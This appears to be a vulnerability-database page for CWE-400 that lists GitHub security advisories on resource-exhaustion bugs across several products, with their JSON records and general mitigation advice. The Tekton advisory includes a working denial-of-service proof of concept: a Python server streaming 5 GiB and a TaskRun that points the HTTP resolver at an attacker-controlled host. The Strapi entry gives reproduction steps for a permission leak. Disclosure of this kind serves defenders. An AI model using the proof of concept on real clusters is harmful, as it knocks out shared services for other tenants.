CWE-400
DiscouragedUncontrolled Resource Consumption
Abstraction: Class · Status: Draft
The product does not properly control the allocation and maintenance of a limited resource.
5623 vulnerabilities reference this CWE, most recent first.
GHSA-JXP3-8J73-7X4P
Vulnerability from github – Published: 2022-05-13 01:38 – Updated: 2022-05-13 01:38A vulnerability in telnetd service on Junos OS allows a remote attacker to cause a limited memory and/or CPU consumption denial of service attack. This issue was found during internal product security testing. Affected releases are Juniper Networks Junos OS 12.1X46 prior to 12.1X46-D45; 12.3X48 prior to 12.3X48-D30; 14.1 prior to 14.1R4-S9, 14.1R8; 14.2 prior to 14.2R6; 15.1 prior to 15.1F5, 15.1R3; 15.1X49 prior to 15.1X49-D40; 15.1X53 prior to 15.1X53-D232, 15.1X53-D47.
{
"affected": [],
"aliases": [
"CVE-2017-10614"
],
"database_specific": {
"cwe_ids": [
"CWE-400"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2017-10-13T17:29:00Z",
"severity": "HIGH"
},
"details": "A vulnerability in telnetd service on Junos OS allows a remote attacker to cause a limited memory and/or CPU consumption denial of service attack. This issue was found during internal product security testing. Affected releases are Juniper Networks Junos OS 12.1X46 prior to 12.1X46-D45; 12.3X48 prior to 12.3X48-D30; 14.1 prior to 14.1R4-S9, 14.1R8; 14.2 prior to 14.2R6; 15.1 prior to 15.1F5, 15.1R3; 15.1X49 prior to 15.1X49-D40; 15.1X53 prior to 15.1X53-D232, 15.1X53-D47.",
"id": "GHSA-jxp3-8j73-7x4p",
"modified": "2022-05-13T01:38:22Z",
"published": "2022-05-13T01:38:22Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2017-10614"
},
{
"type": "WEB",
"url": "https://kb.juniper.net/JSA10817"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-JXQQ-CQM6-PFQ9
Vulnerability from github – Published: 2018-07-24 20:06 – Updated: 2020-08-31 18:26Affected versions of slug are vulnerable to a regular expression denial of service when parsing untrusted user input.
The issue is low severity, as it takes 50,000 characters to cause the event loop to block for 2 seconds,
About 50k characters can block the event loop for 2 seconds.
Recommendation
Update to version 0.9.2 or later.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 0.9.1"
},
"package": {
"ecosystem": "npm",
"name": "slug"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.9.2"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2017-16117"
],
"database_specific": {
"cwe_ids": [
"CWE-400"
],
"github_reviewed": true,
"github_reviewed_at": "2020-06-16T21:44:29Z",
"nvd_published_at": null,
"severity": "MODERATE"
},
"details": "Affected versions of `slug` are vulnerable to a regular expression denial of service when parsing untrusted user input.\n\nThe issue is low severity, as it takes 50,000 characters to cause the event loop to block for 2 seconds,\n\nAbout 50k characters can block the event loop for 2 seconds.\n\n\n## Recommendation\n\nUpdate to version 0.9.2 or later.",
"id": "GHSA-jxqq-cqm6-pfq9",
"modified": "2020-08-31T18:26:54Z",
"published": "2018-07-24T20:06:45Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2017-16117"
},
{
"type": "WEB",
"url": "https://github.com/dodo/node-slug/issues/82"
},
{
"type": "ADVISORY",
"url": "https://github.com/advisories/GHSA-jxqq-cqm6-pfq9"
},
{
"type": "WEB",
"url": "https://www.npmjs.com/advisories/537"
}
],
"schema_version": "1.4.0",
"severity": [],
"summary": "Regular Expression Denial of Service in slug"
}
GHSA-JXWC-XXJW-356X
Vulnerability from github – Published: 2026-04-02 21:32 – Updated: 2026-04-04 00:31Hirschmann Industrial IT products contain a heap overflow vulnerability in the HiLCOS web interface that allows unauthenticated remote attackers to trigger a denial-of-service condition by sending specially crafted requests to the web interface. Attackers can exploit this heap overflow to crash the affected device and cause service disruption, particularly in configurations where the Public Spot functionality is enabled.
{
"affected": [],
"aliases": [
"CVE-2024-14033"
],
"database_specific": {
"cwe_ids": [
"CWE-122",
"CWE-400"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-04-02T21:16:39Z",
"severity": "HIGH"
},
"details": "Hirschmann Industrial IT products contain a heap overflow vulnerability in the HiLCOS web interface that allows unauthenticated remote attackers to trigger a denial-of-service condition by sending specially crafted requests to the web interface. Attackers can exploit this heap overflow to crash the affected device and cause service disruption, particularly in configurations where the Public Spot functionality is enabled.",
"id": "GHSA-jxwc-xxjw-356x",
"modified": "2026-04-04T00:31:25Z",
"published": "2026-04-02T21:32:53Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-14033"
},
{
"type": "WEB",
"url": "https://assets.belden.com/m/774d24c02be5c220/original/Belden_Security_Bulletin_BSECV-2024-16.pdf"
},
{
"type": "WEB",
"url": "https://ssd-disclosure.com/ssd-advisory-lancom-lcos-heap-overflow"
},
{
"type": "WEB",
"url": "https://www.belden.com/security"
},
{
"type": "WEB",
"url": "https://www.vulncheck.com/advisories/hirschmann-industrial-it-hilcos-heap-overflow-dos"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-JXWX-85VP-GVWM
Vulnerability from github – Published: 2021-01-13 18:21 – Updated: 2023-08-31 18:34The GitHub Security Lab team has identified potential security vulnerabilities in jquery.validation.
The project contains one or more regular expressions that are vulnerable to ReDoS (Regular Expression Denial of Service)
This issue was discovered and reported by GitHub team member @erik-krogh (Erik Krogh Kristensen).
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "jquery-validation"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.19.3"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "NuGet",
"name": "jQuery.Validation"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.19.3"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2021-21252"
],
"database_specific": {
"cwe_ids": [
"CWE-400"
],
"github_reviewed": true,
"github_reviewed_at": "2021-01-13T18:21:42Z",
"nvd_published_at": "2021-01-13T19:15:00Z",
"severity": "HIGH"
},
"details": "The GitHub Security Lab team has identified potential security vulnerabilities in jquery.validation.\n\nThe project contains one or more regular expressions that are vulnerable to ReDoS (Regular Expression Denial of Service)\n\nThis issue was discovered and reported by GitHub team member @erik-krogh (Erik Krogh Kristensen).",
"id": "GHSA-jxwx-85vp-gvwm",
"modified": "2023-08-31T18:34:36Z",
"published": "2021-01-13T18:21:54Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/jquery-validation/jquery-validation/security/advisories/GHSA-jxwx-85vp-gvwm"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2021-21252"
},
{
"type": "WEB",
"url": "https://github.com/jquery-validation/jquery-validation/pull/2371"
},
{
"type": "WEB",
"url": "https://github.com/jquery-validation/jquery-validation/commit/5d8f29eef363d043a8fec4eb86d42cadb5fa5f7d"
},
{
"type": "PACKAGE",
"url": "https://github.com/jquery-validation/jquery-validation"
},
{
"type": "WEB",
"url": "https://jqueryvalidation.org/#installation-via-package-managers"
},
{
"type": "WEB",
"url": "https://lists.debian.org/debian-lts-announce/2023/08/msg00040.html"
},
{
"type": "WEB",
"url": "https://security.netapp.com/advisory/ntap-20210219-0005"
},
{
"type": "ADVISORY",
"url": "https://securitylab.github.com/advisories/GHSL-2020-294-redos-jquery-validation"
},
{
"type": "WEB",
"url": "https://www.npmjs.com/package/jquery-validation"
},
{
"type": "WEB",
"url": "https://www.nuget.org/packages/jquery.validation"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "Regular Expression Denial of Service in jquery-validation"
}
GHSA-JXXR-4GWJ-5JF2
Vulnerability from github – Published: 2026-05-18 16:22 – Updated: 2026-06-09 10:32The max option was being applied too late:
When expanding a single large numeric range like {1..10000000}, the sequence generation loop generates all 10 million intermediate elements before the max limit is applied With max=10, the output is correctly limited to 10 items, but the process still allocates ~505 MB and spends ~800ms building the full intermediate array.
Workaround
Ensure the string to be expanded doesn't contain more values than the desired max item count.
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "brace-expansion"
},
"ranges": [
{
"events": [
{
"introduced": "5.0.0"
},
{
"fixed": "5.0.6"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-45149"
],
"database_specific": {
"cwe_ids": [
"CWE-400"
],
"github_reviewed": true,
"github_reviewed_at": "2026-05-18T16:22:01Z",
"nvd_published_at": "2026-05-29T20:16:25Z",
"severity": "MODERATE"
},
"details": "The `max` option was being applied too late:\n\nWhen expanding a single large numeric range like `{1..10000000}`, the sequence generation loop generates all 10 million intermediate elements before the `max` limit is applied With `max=10`, the output is correctly limited to 10 items, but the process still allocates `~505 MB` and spends `~800ms` building the full intermediate array.\n\n### Workaround\n\nEnsure the string to be expanded doesn\u0027t contain more values than the desired `max` item count.",
"id": "GHSA-jxxr-4gwj-5jf2",
"modified": "2026-06-09T10:32:28Z",
"published": "2026-05-18T16:22:01Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-45149"
},
{
"type": "WEB",
"url": "https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5"
},
{
"type": "PACKAGE",
"url": "https://github.com/juliangruber/brace-expansion"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "brace-expansion: Large numeric range defeats documented `max` DoS protection"
}
GHSA-M23R-R3M9-287H
Vulnerability from github – Published: 2024-04-29 21:30 – Updated: 2024-07-03 18:37An issue discovered in httpd in ASUS RT-AC51U with firmware version up to and including 3.0.0.4.380.8591 allows local attackers to cause a denial of service via crafted GET request.
{
"affected": [],
"aliases": [
"CVE-2023-31889"
],
"database_specific": {
"cwe_ids": [
"CWE-400"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-04-29T21:15:47Z",
"severity": "MODERATE"
},
"details": "An issue discovered in httpd in ASUS RT-AC51U with firmware version up to and including 3.0.0.4.380.8591 allows local attackers to cause a denial of service via crafted GET request.",
"id": "GHSA-m23r-r3m9-287h",
"modified": "2024-07-03T18:37:30Z",
"published": "2024-04-29T21:30:35Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-31889"
},
{
"type": "WEB",
"url": "https://gitlab.com/donnm/cves/-/blob/master/dos_rtac51u_httpd.md"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-M257-4MGJ-CG83
Vulnerability from github – Published: 2022-12-13 18:30 – Updated: 2022-12-15 06:30In findAllDeAccounts of AccountsDb.java, there is a possible denial of service due to resource exhaustion. This could lead to local denial of service with no additional execution privileges needed. User interaction is not needed for exploitation.Product: AndroidVersions: Android-10 Android-11 Android-12 Android-12L Android-13Android ID: A-169762606
{
"affected": [],
"aliases": [
"CVE-2021-0934"
],
"database_specific": {
"cwe_ids": [
"CWE-1284",
"CWE-400"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2022-12-13T16:15:00Z",
"severity": "MODERATE"
},
"details": "In findAllDeAccounts of AccountsDb.java, there is a possible denial of service due to resource exhaustion. This could lead to local denial of service with no additional execution privileges needed. User interaction is not needed for exploitation.Product: AndroidVersions: Android-10 Android-11 Android-12 Android-12L Android-13Android ID: A-169762606",
"id": "GHSA-m257-4mgj-cg83",
"modified": "2022-12-15T06:30:29Z",
"published": "2022-12-13T18:30:31Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2021-0934"
},
{
"type": "WEB",
"url": "https://source.android.com/security/bulletin/2022-12-01"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-M284-85MF-CGRC
Vulnerability from github – Published: 2023-09-13 16:31 – Updated: 2023-09-13 16:31Summary
Field level permissions not being respected in relationship title. If I have a relationship title and the relationship shows a field I don't have permission to see I will still be visible.
Details
No RBAC checks on on the relationship the relation endpoint returns
PoC
Setup
Create a fresh strapi instance Create a new content type in the newly created content type add a relation to the users-permissions user. Save. Create a users-permissions user Use your created content type and create an entry in it related to the users-permisisons user
Go to settings -> Admin panel -> Roles -> Author Give the author role full permissions on the content type your created. Make sure they don't have any permission to see User Save
Create a new admin account with only the author role
CVE
login on the newly created author acount. go to the content manager to the colection type you created with the relationship to users_permissions_user You now see a field you don't have permissions to view.
Impact
RBAC field level checks leaks data selected by the admin user as relationship title What could be sensitive fields that they should not be allowed to see. by the person having this specific role.
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "@strapi/plugin-content-manager"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "4.12.1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2023-37263"
],
"database_specific": {
"cwe_ids": [
"CWE-200",
"CWE-400"
],
"github_reviewed": true,
"github_reviewed_at": "2023-09-13T16:31:43Z",
"nvd_published_at": "2023-09-15T19:15:08Z",
"severity": "MODERATE"
},
"details": "### Summary\nField level permissions not being respected in relationship title.\nIf I have a relationship title and the relationship shows a field I don\u0027t have permission to see I will still be visible.\n\n### Details\nNo RBAC checks on on the relationship the relation endpoint returns\n\n### PoC\n#### Setup\nCreate a fresh strapi instance\nCreate a new content type\nin the newly created content type add a relation to the users-permissions user.\nSave.\nCreate a users-permissions user\nUse your created content type and create an entry in it related to the users-permisisons user\n\nGo to settings -\u003e Admin panel -\u003e Roles -\u003e Author\nGive the author role full permissions on the content type your created.\nMake sure they don\u0027t have any permission to see User\nSave\n\nCreate a new admin account with only the author role\n#### CVE\nlogin on the newly created author acount.\ngo to the content manager to the colection type you created with the relationship to users_permissions_user\nYou now see a field you don\u0027t have permissions to view.\n\n### Impact\nRBAC field level checks leaks data selected by the admin user as relationship title\nWhat could be sensitive fields that they should not be allowed to see. by the person having this specific role.",
"id": "GHSA-m284-85mf-cgrc",
"modified": "2023-09-13T16:31:43Z",
"published": "2023-09-13T16:31:43Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/strapi/strapi/security/advisories/GHSA-m284-85mf-cgrc"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-37263"
},
{
"type": "PACKAGE",
"url": "https://github.com/strapi/strapi"
},
{
"type": "WEB",
"url": "https://github.com/strapi/strapi/releases/tag/v4.12.1"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:N/A:N",
"type": "CVSS_V3"
}
],
"summary": "Strapi\u0027s field level permissions not being respected in relationship title"
}
GHSA-M2CX-GPQF-QF74
Vulnerability from github – Published: 2026-04-21 20:27 – Updated: 2026-05-22 15:45Summary
The HTTP resolver's FetchHttpResource function calls io.ReadAll(resp.Body) with no response body size limit. Any tenant with permission to create TaskRuns or PipelineRuns that reference the HTTP resolver can point it at an attacker-controlled HTTP server that returns a very large response body within the 1-minute timeout window, causing the tekton-pipelines-resolvers pod to be OOM-killed by Kubernetes. Because all resolver types (Git, Hub, Bundle, Cluster, HTTP) run in the same pod, crashing this pod denies resolution service to the entire cluster. Repeated exploitation causes a sustained crash loop. The same vulnerable code path is reached by both the deprecated pkg/resolution/resolver/http and the current pkg/remoteresolution/resolver/http implementations.
Details
pkg/resolution/resolver/http/resolver.go:279–307:
func FetchHttpResource(ctx context.Context, params map[string]string,
kubeclient kubernetes.Interface, logger *zap.SugaredLogger) (framework.ResolvedResource, error) {
httpClient, err := makeHttpClient(ctx) // default timeout: 1 minute
// ...
resp, err := httpClient.Do(req)
// ...
defer func() { _ = resp.Body.Close() }()
body, err := io.ReadAll(resp.Body) // ← no size limit
if err != nil {
return nil, fmt.Errorf("error reading response body: %w", err)
}
// ...
}
makeHttpClient sets http.Client{Timeout: timeout} where timeout defaults to 1 minute and is configurable via fetch-timeout in the http-resolver-config ConfigMap. The timeout bounds the duration of the entire request (including body read), which limits slow-drip attacks. However, it does not limit the total number of bytes allocated. A fast HTTP server can deliver multi-gigabyte responses well within the 1-minute window.
The resolver deployment (config/core/deployments/resolvers-deployment.yaml) sets a 4 GiB memory limit on the controller container. A response of 4 GiB or larger delivered at wire speed will cause io.ReadAll to allocate 4 GiB, triggering an OOM-kill. With the default timeout of 60 seconds, a server delivering at 100 MB/s can supply 6 GB — well above the 4 GiB limit — before the timeout fires.
The remoteresolution HTTP resolver (pkg/remoteresolution/resolver/http/resolver.go:90) delegates directly to the same FetchHttpResource function and is equally affected.
PoC
# Step 1: Run an HTTP server that streams a large response fast
python3 - <<'EOF'
import http.server, socketserver
class LargeResponseHandler(http.server.BaseHTTPRequestHandler):
def do_GET(self):
self.send_response(200)
self.send_header("Content-Type", "application/octet-stream")
self.end_headers()
# Stream 5 GB at full speed — completes in <60s on a local network
chunk = b"X" * (1024 * 1024) # 1 MiB chunk
for _ in range(5120): # 5120 * 1 MiB = 5 GiB
self.wfile.write(chunk)
def log_message(self, *args):
pass
with socketserver.TCPServer(("", 8080), LargeResponseHandler) as httpd:
httpd.serve_forever()
EOF
# Step 2: Create a TaskRun that triggers the HTTP resolver
kubectl create -f - <<'EOF'
apiVersion: tekton.dev/v1
kind: TaskRun
metadata:
name: dos-poc
namespace: default
spec:
taskRef:
resolver: http
params:
- name: url
value: http://attacker-server.internal:8080/large-payload
EOF
# Expected result: tekton-pipelines-resolvers pod is OOM-killed.
# All resolver types in the cluster (git, hub, bundle, cluster, http)
# become unavailable until Kubernetes restarts the pod.
# Repeated submission causes a crash loop that continuously disrupts
# resolution for all tenants in the cluster.
Note: On clusters where operators have set a higher fetch-timeout (e.g., 10m), the attacker has more time to deliver a larger body, and the attack is more reliable. On clusters with tight memory limits on the resolver pod, a smaller payload suffices.
Impact
- Denial of Service: OOM-kill of the
tekton-pipelines-resolverspod denies all resolution services cluster-wide until Kubernetes restarts the pod. - Crash loop amplification: A tenant can submit multiple concurrent TaskRuns pointing to the attack server. Each in-flight resolution request accumulates memory independently in the same pod, reducing the payload size needed to reach the OOM threshold.
- Blast radius: Because all resolver types share a single pod, disrupting the HTTP resolver also disrupts unrelated users of the Git, Bundle, Cluster, and Hub resolvers. This is a cluster-wide availability impact achievable by a single namespace-level user.
Recommended Fix
Wrap resp.Body with io.LimitReader before passing to io.ReadAll. Add a configurable max-body-size option to the http-resolver-config ConfigMap with a sensible default (e.g., 50 MiB, which exceeds the size of any realistic pipeline YAML file):
const defaultMaxBodyBytes = 50 * 1024 * 1024 // 50 MiB
// In FetchHttpResource, replace:
// body, err := io.ReadAll(resp.Body)
// with:
maxBytes := int64(defaultMaxBodyBytes)
if v, ok := conf["max-body-size"]; ok {
if parsed, err := strconv.ParseInt(v, 10, 64); err == nil {
maxBytes = parsed
}
}
limitedReader := io.LimitReader(resp.Body, maxBytes+1)
body, err := io.ReadAll(limitedReader)
if err != nil {
return nil, fmt.Errorf("error reading response body: %w", err)
}
if int64(len(body)) > maxBytes {
return nil, fmt.Errorf("response body exceeds maximum allowed size of %d bytes", maxBytes)
}
This fix must be applied to FetchHttpResource in pkg/resolution/resolver/http/resolver.go, which is shared by both the deprecated and current HTTP resolver implementations.
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "github.com/tektoncd/pipeline"
},
"ranges": [
{
"events": [
{
"introduced": "1.10.0"
},
{
"fixed": "1.11.1"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Go",
"name": "github.com/tektoncd/pipeline"
},
"ranges": [
{
"events": [
{
"introduced": "1.0.0"
},
{
"fixed": "1.0.2"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Go",
"name": "github.com/tektoncd/pipeline"
},
"ranges": [
{
"events": [
{
"introduced": "1.2.0"
},
{
"fixed": "1.3.4"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Go",
"name": "github.com/tektoncd/pipeline"
},
"ranges": [
{
"events": [
{
"introduced": "1.4.0"
},
{
"fixed": "1.6.2"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Go",
"name": "github.com/tektoncd/pipeline"
},
"ranges": [
{
"events": [
{
"introduced": "1.7.0"
},
{
"fixed": "1.9.3"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-40924"
],
"database_specific": {
"cwe_ids": [
"CWE-400"
],
"github_reviewed": true,
"github_reviewed_at": "2026-04-21T20:27:33Z",
"nvd_published_at": "2026-04-21T21:16:45Z",
"severity": "MODERATE"
},
"details": "## Summary\n\nThe HTTP resolver\u0027s `FetchHttpResource` function calls `io.ReadAll(resp.Body)` with no response body size limit. Any tenant with permission to create TaskRuns or PipelineRuns that reference the HTTP resolver can point it at an attacker-controlled HTTP server that returns a very large response body within the 1-minute timeout window, causing the `tekton-pipelines-resolvers` pod to be OOM-killed by Kubernetes. Because all resolver types (Git, Hub, Bundle, Cluster, HTTP) run in the same pod, crashing this pod denies resolution service to the entire cluster. Repeated exploitation causes a sustained crash loop. The same vulnerable code path is reached by both the deprecated `pkg/resolution/resolver/http` and the current `pkg/remoteresolution/resolver/http` implementations.\n\n## Details\n\n`pkg/resolution/resolver/http/resolver.go:279\u2013307`:\n\n```go\nfunc FetchHttpResource(ctx context.Context, params map[string]string,\n kubeclient kubernetes.Interface, logger *zap.SugaredLogger) (framework.ResolvedResource, error) {\n\n httpClient, err := makeHttpClient(ctx) // default timeout: 1 minute\n // ...\n resp, err := httpClient.Do(req)\n // ...\n defer func() { _ = resp.Body.Close() }()\n\n body, err := io.ReadAll(resp.Body) // \u2190 no size limit\n if err != nil {\n return nil, fmt.Errorf(\"error reading response body: %w\", err)\n }\n // ...\n}\n```\n\n`makeHttpClient` sets `http.Client{Timeout: timeout}` where `timeout` defaults to 1 minute and is configurable via `fetch-timeout` in the `http-resolver-config` ConfigMap. The timeout bounds the duration of the entire request (including body read), which limits slow-drip attacks. However, it does not limit the total number of bytes allocated. A fast HTTP server can deliver multi-gigabyte responses well within the 1-minute window.\n\nThe resolver deployment (`config/core/deployments/resolvers-deployment.yaml`) sets a 4 GiB memory limit on the `controller` container. A response of 4 GiB or larger delivered at wire speed will cause `io.ReadAll` to allocate 4 GiB, triggering an OOM-kill. With the default timeout of 60 seconds, a server delivering at 100 MB/s can supply 6 GB \u2014 well above the 4 GiB limit \u2014 before the timeout fires.\n\nThe `remoteresolution` HTTP resolver (`pkg/remoteresolution/resolver/http/resolver.go:90`) delegates directly to the same `FetchHttpResource` function and is equally affected.\n\n## PoC\n\n```bash\n# Step 1: Run an HTTP server that streams a large response fast\npython3 - \u003c\u003c\u0027EOF\u0027\nimport http.server, socketserver\n\nclass LargeResponseHandler(http.server.BaseHTTPRequestHandler):\n def do_GET(self):\n self.send_response(200)\n self.send_header(\"Content-Type\", \"application/octet-stream\")\n self.end_headers()\n # Stream 5 GB at full speed \u2014 completes in \u003c60s on a local network\n chunk = b\"X\" * (1024 * 1024) # 1 MiB chunk\n for _ in range(5120): # 5120 * 1 MiB = 5 GiB\n self.wfile.write(chunk)\n\n def log_message(self, *args):\n pass\n\nwith socketserver.TCPServer((\"\", 8080), LargeResponseHandler) as httpd:\n httpd.serve_forever()\nEOF\n\n# Step 2: Create a TaskRun that triggers the HTTP resolver\nkubectl create -f - \u003c\u003c\u0027EOF\u0027\napiVersion: tekton.dev/v1\nkind: TaskRun\nmetadata:\n name: dos-poc\n namespace: default\nspec:\n taskRef:\n resolver: http\n params:\n - name: url\n value: http://attacker-server.internal:8080/large-payload\nEOF\n\n# Expected result: tekton-pipelines-resolvers pod is OOM-killed.\n# All resolver types in the cluster (git, hub, bundle, cluster, http)\n# become unavailable until Kubernetes restarts the pod.\n# Repeated submission causes a crash loop that continuously disrupts\n# resolution for all tenants in the cluster.\n```\n\n**Note:** On clusters where operators have set a higher `fetch-timeout` (e.g., `10m`), the attacker has more time to deliver a larger body, and the attack is more reliable. On clusters with tight memory limits on the resolver pod, a smaller payload suffices.\n\n## Impact\n\n- **Denial of Service**: OOM-kill of the `tekton-pipelines-resolvers` pod denies all resolution services cluster-wide until Kubernetes restarts the pod.\n- **Crash loop amplification**: A tenant can submit multiple concurrent TaskRuns pointing to the attack server. Each in-flight resolution request accumulates memory independently in the same pod, reducing the payload size needed to reach the OOM threshold.\n- **Blast radius**: Because all resolver types share a single pod, disrupting the HTTP resolver also disrupts unrelated users of the Git, Bundle, Cluster, and Hub resolvers. This is a cluster-wide availability impact achievable by a single namespace-level user.\n\n## Recommended Fix\n\nWrap `resp.Body` with `io.LimitReader` before passing to `io.ReadAll`. Add a configurable `max-body-size` option to the `http-resolver-config` ConfigMap with a sensible default (e.g., 50 MiB, which exceeds the size of any realistic pipeline YAML file):\n\n```go\nconst defaultMaxBodyBytes = 50 * 1024 * 1024 // 50 MiB\n\n// In FetchHttpResource, replace:\n// body, err := io.ReadAll(resp.Body)\n// with:\nmaxBytes := int64(defaultMaxBodyBytes)\nif v, ok := conf[\"max-body-size\"]; ok {\n if parsed, err := strconv.ParseInt(v, 10, 64); err == nil {\n maxBytes = parsed\n }\n}\nlimitedReader := io.LimitReader(resp.Body, maxBytes+1)\nbody, err := io.ReadAll(limitedReader)\nif err != nil {\n return nil, fmt.Errorf(\"error reading response body: %w\", err)\n}\nif int64(len(body)) \u003e maxBytes {\n return nil, fmt.Errorf(\"response body exceeds maximum allowed size of %d bytes\", maxBytes)\n}\n```\n\nThis fix must be applied to `FetchHttpResource` in `pkg/resolution/resolver/http/resolver.go`, which is shared by both the deprecated and current HTTP resolver implementations.",
"id": "GHSA-m2cx-gpqf-qf74",
"modified": "2026-05-22T15:45:15Z",
"published": "2026-04-21T20:27:33Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/tektoncd/pipeline/security/advisories/GHSA-m2cx-gpqf-qf74"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-40924"
},
{
"type": "PACKAGE",
"url": "https://github.com/tektoncd/pipeline"
},
{
"type": "WEB",
"url": "https://github.com/tektoncd/pipeline/releases/tag/v1.11.1"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "Tekton Pipelines: HTTP Resolver Unbounded Response Body Read Enables Denial of Service via Memory Exhaustion"
}
GHSA-M2H9-C2V8-HJ79
Vulnerability from github – Published: 2022-05-24 19:08 – Updated: 2022-07-11 00:00Mikrotik RouterOs before 6.44.6 (long-term tree) suffers from an uncontrolled resource consumption vulnerability in the /nova/bin/cerm process. An authenticated remote attacker can cause a Denial of Service due to overloading the systems CPU.
{
"affected": [],
"aliases": [
"CVE-2020-20221"
],
"database_specific": {
"cwe_ids": [
"CWE-400"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2021-07-21T15:15:00Z",
"severity": "MODERATE"
},
"details": "Mikrotik RouterOs before 6.44.6 (long-term tree) suffers from an uncontrolled resource consumption vulnerability in the /nova/bin/cerm process. An authenticated remote attacker can cause a Denial of Service due to overloading the systems CPU.",
"id": "GHSA-m2h9-c2v8-hj79",
"modified": "2022-07-11T00:00:21Z",
"published": "2022-05-24T19:08:50Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2020-20221"
},
{
"type": "WEB",
"url": "https://cwe.mitre.org/data/definitions/400.html"
},
{
"type": "WEB",
"url": "https://seclists.org/fulldisclosure/2020/May/30"
},
{
"type": "WEB",
"url": "https://seclists.org/fulldisclosure/2021/May/1"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
]
}
Mitigation
Design throttling mechanisms into the system architecture. The best protection is to limit the amount of resources that an unauthorized user can cause to be expended. A strong authentication and access control model will help prevent such attacks from occurring in the first place. The login application should be protected against DoS attacks as much as possible. Limiting the database access, perhaps by caching result sets, can help minimize the resources expended. To further limit the potential for a DoS attack, consider tracking the rate of requests received from users and blocking requests that exceed a defined rate threshold.
Mitigation
- Mitigation of resource exhaustion attacks requires that the target system either:
